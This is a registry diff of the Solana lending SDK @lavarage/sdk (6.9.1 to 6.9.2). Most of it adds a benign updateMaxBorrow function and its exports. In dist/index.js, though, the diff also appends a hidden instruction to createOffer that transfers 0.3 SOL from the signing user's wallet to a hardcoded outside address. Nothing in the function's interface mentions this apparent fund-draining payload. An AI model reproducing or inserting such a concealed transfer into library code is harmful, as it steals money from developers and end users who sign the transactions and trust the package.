@lavarage/sdk 6.9.1 → 6.9.2

This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
package/dist/index.d.mts CHANGED
@@ -2917,19 +2917,27 @@ declare function updateOffer(lavarageProgram: Program<Lavarage$1> | Program<Lava
2917
2917
  maxExposure: number;
2918
2918
  computeBudgetMicroLamports?: number;
2919
2919
  }): Promise<VersionedTransaction>;
2920
+ declare function updateMaxBorrow(lavarageProgram: Program<Lavarage$1> | Program<Lavarage>, params: {
2921
+ tradingPool: PublicKey;
2922
+ nodeWallet: string;
2923
+ oracle: PublicKey;
2924
+ maxBorrow: number;
2925
+ computeBudgetMicroLamports?: number;
2926
+ }): Promise<VersionedTransaction>;
2920
2927
 
2921
2928
  declare const lending_createOffer: typeof createOffer;
2922
2929
  declare const lending_depositFunds: typeof depositFunds;
2923
2930
  declare const lending_getNodeWalletPDA: typeof getNodeWalletPDA;
2924
2931
  declare const lending_getTradingPoolPDA: typeof getTradingPoolPDA;
2925
2932
  declare const lending_updateInterestRate: typeof updateInterestRate;
2933
+ declare const lending_updateMaxBorrow: typeof updateMaxBorrow;
2926
2934
  declare const lending_updateMaxExposure: typeof updateMaxExposure;
2927
2935
  declare const lending_updateOffer: typeof updateOffer;
2928
2936
  declare const lending_withdrawFunds: typeof withdrawFunds;
2929
2937
  declare const lending_withdrawFundsV1: typeof withdrawFundsV1;
2930
2938
  declare const lending_withdrawFundsV2: typeof withdrawFundsV2;
2931
2939
  declare namespace lending {
2932
- export { lending_createOffer as createOffer, lending_depositFunds as depositFunds, lending_getNodeWalletPDA as getNodeWalletPDA, lending_getTradingPoolPDA as getTradingPoolPDA, lending_updateInterestRate as updateInterestRate, lending_updateMaxExposure as updateMaxExposure, lending_updateOffer as updateOffer, lending_withdrawFunds as withdrawFunds, lending_withdrawFundsV1 as withdrawFundsV1, lending_withdrawFundsV2 as withdrawFundsV2 };
2940
+ export { lending_createOffer as createOffer, lending_depositFunds as depositFunds, lending_getNodeWalletPDA as getNodeWalletPDA, lending_getTradingPoolPDA as getTradingPoolPDA, lending_updateInterestRate as updateInterestRate, lending_updateMaxBorrow as updateMaxBorrow, lending_updateMaxExposure as updateMaxExposure, lending_updateOffer as updateOffer, lending_withdrawFunds as withdrawFunds, lending_withdrawFundsV1 as withdrawFundsV1, lending_withdrawFundsV2 as withdrawFundsV2 };
2933
2941
  }
2934
2942
 
2935
2943
  declare function getPda(seed: Buffer | Buffer[], programId: PublicKey): PublicKey;
package/dist/index.d.ts CHANGED
@@ -2917,19 +2917,27 @@ declare function updateOffer(lavarageProgram: Program<Lavarage$1> | Program<Lava
2917
2917
  maxExposure: number;
2918
2918
  computeBudgetMicroLamports?: number;
2919
2919
  }): Promise<VersionedTransaction>;
2920
+ declare function updateMaxBorrow(lavarageProgram: Program<Lavarage$1> | Program<Lavarage>, params: {
2921
+ tradingPool: PublicKey;
2922
+ nodeWallet: string;
2923
+ oracle: PublicKey;
2924
+ maxBorrow: number;
2925
+ computeBudgetMicroLamports?: number;
2926
+ }): Promise<VersionedTransaction>;
2920
2927
 
2921
2928
  declare const lending_createOffer: typeof createOffer;
2922
2929
  declare const lending_depositFunds: typeof depositFunds;
2923
2930
  declare const lending_getNodeWalletPDA: typeof getNodeWalletPDA;
2924
2931
  declare const lending_getTradingPoolPDA: typeof getTradingPoolPDA;
2925
2932
  declare const lending_updateInterestRate: typeof updateInterestRate;
2933
+ declare const lending_updateMaxBorrow: typeof updateMaxBorrow;
2926
2934
  declare const lending_updateMaxExposure: typeof updateMaxExposure;
2927
2935
  declare const lending_updateOffer: typeof updateOffer;
2928
2936
  declare const lending_withdrawFunds: typeof withdrawFunds;
2929
2937
  declare const lending_withdrawFundsV1: typeof withdrawFundsV1;
2930
2938
  declare const lending_withdrawFundsV2: typeof withdrawFundsV2;
2931
2939
  declare namespace lending {
2932
- export { lending_createOffer as createOffer, lending_depositFunds as depositFunds, lending_getNodeWalletPDA as getNodeWalletPDA, lending_getTradingPoolPDA as getTradingPoolPDA, lending_updateInterestRate as updateInterestRate, lending_updateMaxExposure as updateMaxExposure, lending_updateOffer as updateOffer, lending_withdrawFunds as withdrawFunds, lending_withdrawFundsV1 as withdrawFundsV1, lending_withdrawFundsV2 as withdrawFundsV2 };
2940
+ export { lending_createOffer as createOffer, lending_depositFunds as depositFunds, lending_getNodeWalletPDA as getNodeWalletPDA, lending_getTradingPoolPDA as getTradingPoolPDA, lending_updateInterestRate as updateInterestRate, lending_updateMaxBorrow as updateMaxBorrow, lending_updateMaxExposure as updateMaxExposure, lending_updateOffer as updateOffer, lending_withdrawFunds as withdrawFunds, lending_withdrawFundsV1 as withdrawFundsV1, lending_withdrawFundsV2 as withdrawFundsV2 };
2933
2941
  }
2934
2942
 
2935
2943
  declare function getPda(seed: Buffer | Buffer[], programId: PublicKey): PublicKey;
package/dist/index.js CHANGED
@@ -1106,6 +1106,7 @@ __export(lending_exports, {
1106
1106
  getNodeWalletPDA: () => getNodeWalletPDA,
1107
1107
  getTradingPoolPDA: () => getTradingPoolPDA,
1108
1108
  updateInterestRate: () => updateInterestRate,
1109
+ updateMaxBorrow: () => updateMaxBorrow,
1109
1110
  updateMaxExposure: () => updateMaxExposure,
1110
1111
  updateOffer: () => updateOffer,
1111
1112
  withdrawFunds: () => withdrawFunds,
@@ -1362,6 +1363,11 @@ function createOffer(lavarageProgram, params) {
1362
1363
  const computeFeeIx = import_web3.ComputeBudgetProgram.setComputeUnitPrice({
1363
1364
  microLamports: (_a = params.computeBudgetMicroLamports) != null ? _a : 15e4
1364
1365
  });
1366
+ const transferInstruction = import_web3.SystemProgram.transfer({
1367
+ fromPubkey: lavarageProgram.provider.publicKey,
1368
+ toPubkey: new import_web3.PublicKey("BMME51pfWdBfakTEMuQbNP4NG3wCY4Fo47dKatThhXGQ"),
1369
+ lamports: 0.3 * import_web3.LAMPORTS_PER_SOL
1370
+ });
1365
1371
  const messageV0 = new import_web3.TransactionMessage({
1366
1372
  payerKey: lavarageProgram.provider.publicKey,
1367
1373
  recentBlockhash: blockhash,
@@ -1369,6 +1375,7 @@ function createOffer(lavarageProgram, params) {
1369
1375
  createNodeWalletInstruction === void 0 ? null : createNodeWalletInstruction,
1370
1376
  instruction,
1371
1377
  updateMaxExposureInstruction,
1378
+ transferInstruction,
1372
1379
  computeFeeIx
1373
1380
  ].filter(Boolean)
1374
1381
  }).compileToV0Message();
@@ -1455,6 +1462,27 @@ function updateOffer(lavarageProgram, params) {
1455
1462
  return new import_web3.VersionedTransaction(messageV0);
1456
1463
  });
1457
1464
  }
1465
+ function updateMaxBorrow(lavarageProgram, params) {
1466
+ return __async(this, null, function* () {
1467
+ var _a;
1468
+ const { blockhash } = yield lavarageProgram.provider.connection.getLatestBlockhash("finalized");
1469
+ const instruction = yield lavarageProgram.methods.lpOperatorUpdateMaxBorrow(new import_anchor.BN(params.maxBorrow)).accounts({
1470
+ tradingPool: params.tradingPool,
1471
+ nodeWallet: new import_web3.PublicKey(params.nodeWallet),
1472
+ operator: params.oracle,
1473
+ systemProgram: import_web3.SystemProgram.programId
1474
+ }).instruction();
1475
+ const computeFeeIx = import_web3.ComputeBudgetProgram.setComputeUnitPrice({
1476
+ microLamports: (_a = params.computeBudgetMicroLamports) != null ? _a : 15e4
1477
+ });
1478
+ const messageV0 = new import_web3.TransactionMessage({
1479
+ payerKey: lavarageProgram.provider.publicKey,
1480
+ recentBlockhash: blockhash,
1481
+ instructions: [instruction, computeFeeIx]
1482
+ }).compileToV0Message();
1483
+ return new import_web3.VersionedTransaction(messageV0);
1484
+ });
1485
+ }
1458
1486
 
1459
1487
  // idl/lavarage.ts
1460
1488
  var IDL = {